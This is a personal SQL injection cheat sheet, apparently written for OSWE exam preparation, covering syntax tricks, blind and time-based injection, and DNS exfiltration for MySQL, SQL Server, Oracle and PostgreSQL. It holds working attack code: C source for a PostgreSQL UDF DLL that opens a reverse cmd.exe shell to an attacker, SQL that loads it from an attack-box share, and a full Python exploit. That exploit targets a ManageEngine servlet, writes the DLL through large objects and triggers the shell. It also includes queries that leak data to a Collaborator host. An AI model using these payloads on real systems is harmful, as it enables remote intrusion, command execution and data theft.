SQLI CheatSheet

SQLI CheatSheet

in

I touch many different programming languages with different syntax’s and to be honest I don’t remember them all.
Sometimes I write powershell in zsh… If you’re in the mood for jokes, mention something along those lines during a job interview.
All of the information here can be found elsewhere probably in greater deal; and there’s no point in reproducing information unless there is some distinct advantage to doing so. My goal here is to have a fast lookup table of various SQLi syntax’s for all of the major DBMS for when I take the OSWE exam and beyond.

Tricks MySQL

The following statments are equal:

select 1;
select/**/1; 

meaning we can use /**/ as a substitute for a single whitespace character.

In MySQL ASCII characters in their hexadecimal representation are automatically decoded by the MySQL engine. This means that the following statements are equal:

select concat('1337',' h@x0r');
select concat(0x31333337,0x206840783072)

Tricks SQLServer

Continually Updated.

Tricks Oracle

Continually Updated.

Tricks PostgreSQL

Character restrictions are common for whatever the reason. It may be the case that the webserver HTML/URL encodes special characters (such as ) before they are sent to the backend/db. This is why manual testing is important but anyway in PostgreSQL one way around a quote restrictions is to use CHR and concatenation syntax.

select chr(122)||chr(105)||chr(110)||chr(104)||chr(97)||chr(114)||chr(116);
/* returns zinhart */
create table ZINHART(donkey text);INSERT into ZINHART(donkey) VALUES (chr(122)||chr(105)||chr(110)||chr(104)||chr(97)||chr(114)||chr(116));
/* returns zinhart */

The one limitation of this trick is that does not work for all sql commands in PostgreSQL. It’s limited to select, insert, delete, etc. We can for example use CHR in conjunction with the COPY function to write to a file.

The limitations of the technique above brings us to a second trick in PostgreSQL. The following statements are all equivalent;

select 'zinhart';
select $$zinhart$$;/*dollar quoted string*/
select $donkey$zinhart$donkey$;/*tag quoted string*/

Should this be possible? IHMO no! For whatever reason PostgreSQL syntax supports dollar-quoted string constants as well as tag-quoted string constants. One important thing to note is that we cannot use $$ by itself. For instance:

select $$;
/*returns 'Query Error: error: unterminated dollar-quoted string at or near "$$;"'*/

In any case this is an alternate method of bypassing quote restrictions in PostgreSQL and it does not suffer the restriction of CHR and concatention. For instance we can write to disk with:

/*Note the syntax for create temp table is table_name(column_name column_type)*/
CREATE TEMP TABLE ZINHART(donkey text);
INSERT INTO ZINHART(donkey) VALUES ($$Donkeys eat hay$$);
/*Who needs delegation?(run all databases as Builtin\Administrator but preferable System)*/
COPY ZINHART(donkey) TO $$C:\Program Files (x86)\donkey.txt$$;

UDF's MySQL

Coming Soon

UDF's SQLServer

Coming Soon

UDF's Oracle

Coming Soon

UDF's PostgreSQL

In general in postgres we can load a udf with:

CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'FUNCTION NAME' LANGUAGE C STRICT;

There is an important restriction that we need to keep in mind.
The compiled extension we want to load must define an appropriate Postgres structure (magic block) to ensure that a dynamically loaded library file is not loaded into an incompatible server.
Pretty much all system binaries do not have this which is why in order to take advantage of UDF’s in postres we also need a method of transferring the DLL/Shared Object to the host.
Consequently this implies that we would have to be on the same network to take advantage of file transfer method like smb/ftp to move the DLL onto the host, if we are using this as an initial foothold.
On the otherhand as a priviledge escalation method (Assuming the DB is running as system/root) this is viable as long as we have an interactive shell even if our attack box is not on the same network.
Here is a proof of concept Postgres UDF DLL (Windows):

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum donkey(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(donkey);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
donkey(PG_FUNCTION_ARGS)
{
  /* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

  /* retrieve the second argument that is passed to the function (an integer)
  that will serve as our counter limit*/

  int instances = PG_GETARG_INT32(1);

  for (int c = 0; c < instances; c++) {
    /*launch the process passed in the first parameter*/
    ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
  }
  PG_RETURN_VOID();
}

In the case of the udf above we can load the DLL with:

create or replace function donkey(text, integer) returns void as $$C:\donkey.dll$$, $$donkey$$ language C strict;

We can then execute the function donkey and use procmon/taskmanager to verify that 3 instances of cacl.exe are runnning:

SELECT donkey($$calc.exe$$, 3);

One important thing to note, in case we use this in a UNION statement instead of a stacked query, is that the Function returns one row of type void.
Now in the context we mentioned earlier, loading the DLL REMOTELY when our attack box is on the same subnet, we can use:

CREATE OR REPLACE FUNCTION remote_donkey(text, integer) RETURNS void AS $$\\ATTACK BOX IP\donkey.dll$$, $$donkey$$ LANGUAGE C STRICT;
SELECT remote_donkey($$calc.exe$$, 3);

Now lets combine all of this into a reverse shell DLL that we can execute through sqli.
First our reverse shell DLL looks like:

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);
WSADATA wsaData;
SOCKET s1;

struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
Datum
connect_back(PG_FUNCTION_ARGS)
{
  /* convert C string to text pointer */
  #define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
  /* convert text pointer to C string */
  #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
  WSAStartup(MAKEWORD(2, 2), &wsaData);
  s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
  hax.sin_family = AF_INET;
  hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0)));
  hax.sin_port = htons(PG_GETARG_INT32(1));
  WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
  CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  PG_RETURN_VOID();
}

With our payload compiled, we create a function that loads the DLL remotely:

CREATE OR REPLACE FUNCTION hello(text, integer) RETURNS void AS $$\\ATTACK BOX IP\postgres_udf_shell.dll$$, $$connect_back$$ language C strict;

And trigger it with:

select hello($$ATTACK BOX IP$$, 4444);

PostgreSQL Large Objects

Postgresql exposes an interface for storing binary files, and because of this we can write a malicious DLL directly into the DB with SQLI assuming we have privileges. This removes the restriction of needing to host the DLL on the same internal network. Also as opposed to the COPY TO function, the advantage of large objects lies in the fact that the data they hold can be exported back to the file system as an identical copy of the original imported file.
Big Stuff!
The large object process is somewhat involved so I’m including an example of an exploit I wrote for manageengine while working through Offsec’s AWAE material. Before thaat through it’s let’s list out the relevant queries/functions/tables Postgres exposes for manipulating large objects.
lo_creat allows us to get a unique id (LOID) for our large object.

select lo_creat(-1)

I like to avoid hardcoded values to keep my exploits as dynamic as possible. So in practicality I usually create a schema with which to hold the LOID.

CREATE SCHEMA SCHEMA_NAME;
CREATE TABLE SCHEMA_NAME.TABLE_NAME(loid oid);
INSERT INTO SCHEMA_NAME.TABLE_NAME(loid) VALUES ((SELECT lo_creat(-1)));

lo_import allows us to import a file as large object and we can also specify a loid either hardcoded or by using a nested query to retrieve an loid we have saved in another schema. Behind the scenes lo_import creates metadata in other tables which is necessary for lo_export to work for us.

SELECT lo_import($$C:\windows\win.ini$$, LOID_HERE )

In terms of actually writing our malicious DLL into the DB, we use the PG_LARGEOBJECT table.
One important thing to note is that Postgres imports a 2KB page size limit for large objects.
Pages are related to large object by the LOID we generate with lo_create. This also means we have to split up our payload in chunks, one chunk for each page. The first chunk (PAGE 0).

UPDATE PG_LARGEOBJECT SET data=decode($$UDF_CHUNK_HERE$$, $$hex$$) where loid=LOID_HERE and pageno=PAGE_NO_HERE

Subsequent Chunks (PAGES 1-N):

INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (LOID_HERE, {PAGE_NO_HERE}, decode($$UDF_CHUNK_HERE$$, $$hex$$))

Finally we can export our large object to the filesystem.

SELECT lo_export(LOID_HERE, $$C:\Windows\temp\donkey.dll$$)

Next we create a function that calls our udf like before:

create or replace function donkey(text, integer) returns VOID as $$C:\windows\temp\donkey.dll$$, $$connect_back$$ language C strict

Finally we can active a reverse shell:

select donkey($${ip}$$, {port})

With the relevant functions out of the way, here is the python exploit I wrote for ManagedEngine while working through AWAE.
This exploit makes use of a random schema to reference a dynamic loid.

import requests, sys, urllib.request, urllib.parse, urllib.error, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii
import random, string
SCHEMA_NAME = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
TABLE_NAME = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
LOID = lambda : F"(SELECT loid FROM {SCHEMA_NAME}.{TABLE_NAME})"
print(LOID())
# encoded UDF dll
with open('postgres_udf_shell.dll', 'rb') as file:
    udf = binascii.hexlify(file.read()).decode('utf-8')
loid = 1337

def log(msg):
  print(msg)

def make_request(url, sql):
  log(F"[*] Executing query: {sql}")
  inj = url % sql
  inj.replace(' ','+')
  r = requests.get( inj, verify=False)
  return r

def create_schema(url):
  log(F'[+] Creating Schema {SCHEMA_NAME}...')
  sql = F"CREATE SCHEMA {SCHEMA_NAME};CREATE TABLE {SCHEMA_NAME}.{TABLE_NAME}(loid oid);INSERT INTO {SCHEMA_NAME}.{TABLE_NAME}(loid) VALUES ((SELECT lo_creat(-1)))"
  make_request(url, sql)

def create_lo(url):
  log("[+] Creating LO for UDF injection...")
  sql = F"SELECT lo_import($$C:\\windows\\win.ini$$,{LOID()})"
  make_request(url, sql)
  
def inject_udf(url):
  log(F"[+] Injecting payload of length {len(udf)} into LO...")
  for i in range(0,((len(udf)-1)//4096+1)):
        udf_chunk = udf[i*4096:(i+1)*4096]
        if i == 0:
            sql = F"UPDATE PG_LARGEOBJECT SET data=decode($${udf_chunk}$$, $$hex$$) where loid={LOID()} and pageno={i}"
        else:
            sql = F"INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES ({LOID()}, {i}, decode($${udf_chunk}$$, $$hex$$))"
        make_request(url, sql)

def export_udf(url):
  log("[+] Exporting UDF library to filesystem...")
  sql = F"SELECT lo_export({LOID()}, $$C:\\Users\\Public\\postgres_udf_shell.dll$$)"
  make_request(url, sql)
  
def create_udf_func(url):
  log("[+] Creating function...")
  sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\Users\\Public\\postgres_udf_shell.dll$$, $$connect_back$$ language C strict"
  make_request(url, sql)

def trigger_udf(url, ip, port):
  log("[+] Launching reverse shell...")
  sql = F"select rev_shell($${ip}$$, {port})"
  make_request(url, sql)
  
if __name__ == '__main__':
  try:
      server = sys.argv[1].strip()
      attacker = sys.argv[2].strip()
      port = sys.argv[3].strip()
  except IndexError:
      print(F"[-] Usage: {sys.argv[0]} serverIP:port attackerIP port")
      sys.exit()
      
  sqli_url  = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 
  create_schema(sqli_url)
  create_lo(sqli_url)
  inject_udf(sqli_url)
  export_udf(sqli_url)
  create_udf_func(sqli_url)
  trigger_udf(sqli_url, attacker, port)

String Concatenation MySQL

Notice the space betwwen the two strings

'foo' 'bar'
CONCAT('foo','bar') 

String Concatenation SQLServer

'foo'+'bar'

String Concatenation Oracle

'foo'||'bar'

String Concatenation PostgreSQL

'foo'||'bar'

SubStrings MySQL

SUBSTRING('foobar', 4, 2)

SubStrings SQLServer

SUBSTRING('foobar', 4, 2)

SubStrings Oracle

SUBSTR('foobar', 4, 2)

SubStrings PostgreSQL

SUBSTRING('foobar', 4, 2)

Comments MySQL

#comment

Note the space after the double dash

-- comment
/*comment*/

Comments SQLServer

--comment
/*comment*/

Comments Oracle

--comment

Comments PostgreSQL

--comment
/*comment*/

Collations MySQL

 SELECT COLLATION_NAME FROM information_schema.columns  
 WHERE TABLE_NAME = "TARGET_TABLE" AND  
 COLUMN_NAME = "TARTGET_COLUMN";

Collations SQLServer

 SELECT tbl.name TableName, col.name ColumnName, col.collation_name AS ColumnCollation  
 FROM sys.columns col  
 INNER JOIN sys.tables tbl ON col.object_id = tbl.object_id

Collations Oracle

Must be Oracle > v12.2

  SELECT table_name, column_id, column_name, collation FROM user_tab_columns  
  WHERE  table_name = 'YOUR_TABLE'  
  ORDER BY column_id;

Collations PostgreSQL

Non default Collations on columns

 select table_schema, table_name, column_name, collation_name from information_schema.columns
 where collation_name is not null
 order by table_schema, table_name, ordinal_position;

Database Version MySQL

select @@version

Database Version SQLServer

select @@version

Database Version Oracle

 SELECT banner FROM v$version
SELECT version FROM v$instance

Database Version PostgreSQL

SELECT version()

Database Contents MySQL

SELECT * FROM information_schema.tablesselect version()
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Database Contents SQLServer

SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Database Contents Oracle

SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Database Contents PostgreSQL

SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional Errors MySQL

General Format:

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Generic Truthy Condition:

SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a')

Generic Falsy Condition:

SELECT IF(1=2,(SELECT table_name FROM information_schema.tables),'a')

Example: Exfiltrate a length of a string.

SELECT IF(1=1,(SELECT LENGTH((sub_query_here))=guess_num),'a')

Example: Exfiltrate a string linearly, i.e O(n).
We use the ascii values of characters to avoid having to use quotes.

SELECT IF(1=1,(ASCII(SUBSTRING((sql_query_that_returns_a_string),char_pos_in_str,1))=ascii_char_val),'a')

Example: Exfiltrate a string with binary search, i.e O(log(n)).
We use the ascii values of characters to avoid having to use quotes.

SELECT IF(1=1,(ASCII(SUBSTRING((sql_query_that_returns_a_string),char_pos_in_str,1))>ascii_char_val),'a')

Example: Exfiltrate a tablename (Assumes binary search will be used)

SELECT IF(1=1,(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT ith_table,1),char_pos_in_str,1))>ascii_char_val),'a')

Example: Check if the database has more than 100 tables(e.g figure out the number of tables)

SELECT IF(1=1,(SELECT (SELECT COUNT(table_name) FROM information_schema.tables)  > 100),'a')

Example: Check if the current_user() has Super Privilege set (Effectively a DB admin)

SELECT IF(1=1,(SELECT(SELECT COUNT(*) FROM mysql.user WHERE Super_priv ='Y' AND current_user=current_user())>1),'a')

Conditional Errors SQLServer

Generic Format:

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

Generic Truthy Condition:

SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END

Generic Falsy Condition:

SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END

Conditional Errors Oracle

Generic Format:

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Generic Truthy Condition:

SELECT CASE WHEN (1=1) THEN TO_CHAR(1/1) ELSE NULL END FROM dual 

Generic False Condition:

SELECT CASE WHEN (1=2) THEN TO_CHAR(1/1) ELSE NULL END FROM dual 

Conditional Errors PostgreSQL

Generic Format:

1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)

Generic Truthy Condition:

1 = (SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE NULL END)

Generic Falsy Condition:

1 = (SELECT CASE WHEN (1=2) THEN CAST(1/0 AS INTEGER) ELSE NULL END)

Stacked Queries MySQL

Some resources claim stacked queries can’t be used with MySQL but it’s still worth to test.

QUERY-1-HERE; QUERY-2-HERE 

Stacked Queries SQLServer

QUERY-1-HERE; QUERY-2-HERE

Stacked Queries Oracle

Does not support batched queries.

Stacked Queries PostgreSQL

QUERY-1-HERE; QUERY-2-HERE

Time Delays MySQL

SELECT SLEEP(10)

Time Delays SQLServer

WAITFOR DELAY '0:0:10'

Time Delays Oracle

dbms_pipe.receive_message(('a'),10)

Time Delays PostgreSQL

SELECT pg_sleep(10)

Conditional Time Delays MySQL

SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

Conditional Time Delays SQLServer

IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

Conditional Time Delays Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Conditional Time Delays PostgreSQL

Keep in mind we might have to use stacked queries and/or unions to make the entire query valid.
It’s pretty much guess work without the source code. Generic format:

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

Generic Truthy Condition:

SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END

Generic Falsy Condition:

SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END

DNS Lookups MySQL

This only works on windows

LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS Lookups SQLServer

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

DNS Lookups Oracle

Oracle does not support batched queries so one way we might pull this off is with a union statement. The following technique user XXE to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence.

 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

This works of fully patched Oracle installations, but requires elevated privileges.

 SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

DNS Lookups PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

DNS Lookups With Data Exfiltration MySQL

This only works on windows:

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS Lookups With Data Exfiltration SQLServer

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')SUBSTRING('foobar', 4, 2)

DNS Lookups With Data Exfiltration Oracle

Oracle does not support batched queries so one way we might pull this off is with a union statement.

 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

DNS Lookups With Data Exfiltration PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();